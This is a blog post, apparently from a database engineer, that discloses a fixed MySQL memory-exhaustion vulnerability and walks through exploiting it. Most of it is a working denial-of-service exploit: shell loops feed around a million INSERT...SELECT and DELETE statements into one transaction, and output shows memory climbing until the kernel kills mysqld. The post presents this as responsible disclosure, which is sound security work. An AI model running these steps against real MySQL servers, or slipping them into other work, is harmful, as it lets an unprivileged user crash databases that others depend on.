Crashing MySQL with Malicious Intent and a lot of Determination

A year ago, I blogged about An Unprivileged User can crash your MySQL Server.  At the time, I explained how to protect yourself against this problem.  A few weeks ago, I revisited this vulnerability in a follow-up post in which I explained the fix, claimed that the MySQL 5.7 default configuration for Group Replication is still problematic, and explained a tuning to avoid the vulnerability.  In this last post in the series, I explain how to exploit this vulnerability to crash older version of MySQL (or untuned Group Replication in 5.7), but this needs a lot of determination.

Before showing you how to crash MySQL, a few words about why I am sharing this.  I am in favor of responsible disclosure of security vulnerabilities.  This means that I think full transparency should eventually be applied to vulnerability.  As opposed to full disclosure, this transparency needs to come at the right time (when a fix is available, or when enough time has been given to software editors to fix the vulnerability, or for other good reasons that I cannot all list here).  Not talking about these vulnerabilities is security through obscurity, which I do not think is a good policy.  So now let's talk about this one-year-old vulnerability.

There are not a lot of explanations in this post, just the steps for exploiting the vulnerability.  Before listing these steps, just a link to my previous post - Trick to Simulate a Linux Server with less RAM - which is used below to cause memory exhaustion quicker.

The steps below are using dbdeployer and Group Replication in MySQL 5.7.36 (default configuration still vulnerable).  Similar steps can be used with MySQL 5.7 up to 5.7.32 and 8.0 up to 8.0.22 for generating similar problems (the list of failure modes are described in my previous post on the subject).  Note that as explained in the previous post, these steps do not always lead to an OOM as below: sometimes MySQL is reporting out of memory without an OOM or a crash, sometimes it is crashing with a stack trace in the error log.  To get an OOM, you might have to run below a few times.  On Debian 10.11, MySQL is always returning out of memory (I tried four times).  On CentOS 6.10, I was able to get an OOM on the first try.

# Create a Group Replication sandbox:
dbdeployer deploy replication mysql_5.7.36 --topology=group

# For reproducing with standard replication in 5.7, create the sandbox this way:
# dbdeployer deploy single mysql_5.7.32 -c log_bin -c server-id=1 -c transaction_write_set_extraction=XXHASH64

# And for reproducing with 8.0, the default configuration can be used:
# dbdeployer deploy single mysql_8.0.21

# Initialize the test environment:
./n1 <<< "
  CREATE DATABASE test_jfg;
  CREATE TABLE test_jfg.t (
    id BIGINT UNSIGNED NOT NULL PRIMARY KEY,
    v BIGINT UNSIGNED NOT NULL UNIQUE);
  CREATE TABLE test_jfg.t2 LIKE test_jfg.t"

# Put data in a table which is needed for the test:
( echo "BEGIN;";
  seq 1 $((1024*64)) | sed -e 's/.*/INSERT into t VALUES(&, &);/';
  echo "COMMIT;"; ) | ./n1 test_jfg

# Let's check the amount of RAM used by the 1st Groupe Replication node (RSS of 345,892):
date; ps aux | sed -n '1p;/[m]ysqld[^_].*node1/p'
Sun Jan 16 22:31:30 UTC 2022
USER       PID %CPU %MEM    VSZ   RSS   TTY    STAT START   TIME COMMAND
jgagne   32544  8.8  2.1 1006936 345892 pts/1  Sl   22:30   0:06 /home/jgagne/opt/mysql/mysql_5.7.36/bin/mysqld [...]

# Start the malicious commands, with a comment in SQL for observing the number of iterations:
date; \
( echo "BEGIN;";
  seq 1 $((1024*1024)) |
    while read i; do
      echo "INSERT INTO t2 SELECT * /* $i */ FROM t; DELETE /* $i */ FROM t2;"
    done; ) | ./n1 -c test_jfg; date
Sun Jan 16 22:31:44 UTC 2022
[...]

# We can see that after 40 iterations, RSS grew to 642,116:
sql="SELECT INFO FROM processlist WHERE INFO like '%t2%' AND INFO NOT LIKE '%WHERE%'"; \
  date; ps aux | sed -n '1p;/[m]ysqld[^_].*node1/p'; \
  ./n1 -N information_schema <<< "$sql"
Sun Jan 16 22:33:37 UTC 2022
USER       PID %CPU %MEM    VSZ   RSS   TTY    STAT START   TIME COMMAND
jgagne   32544 57.7  3.9 1203548 642116 pts/1  Sl   22:30   1:57 /home/jgagne/opt/mysql/mysql_5.7.36/bin/mysqld [...]
INSERT INTO t2 SELECT * /* 40 */ FROM t

# And it grew to 766,612 after 70 iterations:
date; ps aux | sed -n '1p;/[m]ysqld[^_].*node1/p'; \
  ./n1 -N information_schema <<< "$sql"
Sun Jan 16 22:35:04 UTC 2022
USER       PID %CPU %MEM    VSZ   RSS   TTY    STAT START   TIME COMMAND
jgagne   32544 69.8  4.7 1400156 766612 pts/1  Sl   22:30   3:23 /home/jgagne/opt/mysql/mysql_5.7.36/bin/mysqld [...]
DELETE /* 70 */ FROM t2

# Now let's use the trick to simulate only having 4 GB RAM by allocating 12 GB of huge pages:
date; \
  sudo bash -c "echo 3 > /proc/sys/vm/drop_caches"; \
  sudo bash -c "echo 1 > /proc/sys/vm/compact_memory"; \
  sudo bash -c "echo 6144 > /proc/sys/vm/nr_hugepages"; \
  grep HugePages_Total /proc/meminfo; \
  free
Sun Jan 16 21:34:10 UTC 2022
HugePages_Total:    6144
              total        used        free      shared  buff/cache   available
Mem:       16284612    14274216     1882464        8904      127932     1773232
Swap:             0           0           0

# And after a few minutes (almost 23 in this case), we get this in the shell where we launched the malicious commands:
Sun Jan 16 22:31:44 UTC 2022
ERROR 2013 (HY000) at line 378: Lost connection to MySQL server during query
Sun Jan 16 22:57:57 UTC 2022

# And we can confirm it is an OOM by running below:
sudo grep "Out of memory" /var/log/messages
Jan 16 22:57:57 jgagne-dbdeployer02 kernel: [ 3732.440486] Out of memory: Killed process 32544 (mysqld) total-vm:2588000kB, anon-rss:2004760kB, file-rss:0kB, shmem-rss:0kB, UID:67331 pgtables:4336kB oom_score_adj:0

# Obviously, other things are happening while running the malicious commands, but they can easily go unnoticed.
# This includes an InnoDB Undo Log inflation and binary log temporary file growth.
date; ls -lh node1/data/ibdata1
Sun Jan 16 22:31:38 UTC 2022
-rw-r----- 1 jgagne jgagne 12M Jan 16 22:31 node1/data/ibdata1

date; ls -lh node1/data/ibdata1
Sun Jan 16 22:35:12 UTC 2022
-rw-r----- 1 jgagne jgagne 524M Jan 16 22:35 node1/data/ibdata1

date; lsof | sed -n '1p;/node1.*tmp/p'
Sun Jan 16 22:35:14 UTC 2022
lsof: WARNING: can't stat() tracefs file system /sys/kernel/debug/tracing
      Output information may be incomplete.
COMMAND     PID      USER   FD      TYPE             DEVICE  SIZE/OFF    NODE NAME
[...]
mysqld    32544    jgagne   80u      REG              259,0 164270080 6292806 /mnt/jgagne_sandboxes/group_msb_mysql_5_7_36/node1/tmp/MLnZ6XcZ (deleted)
[...]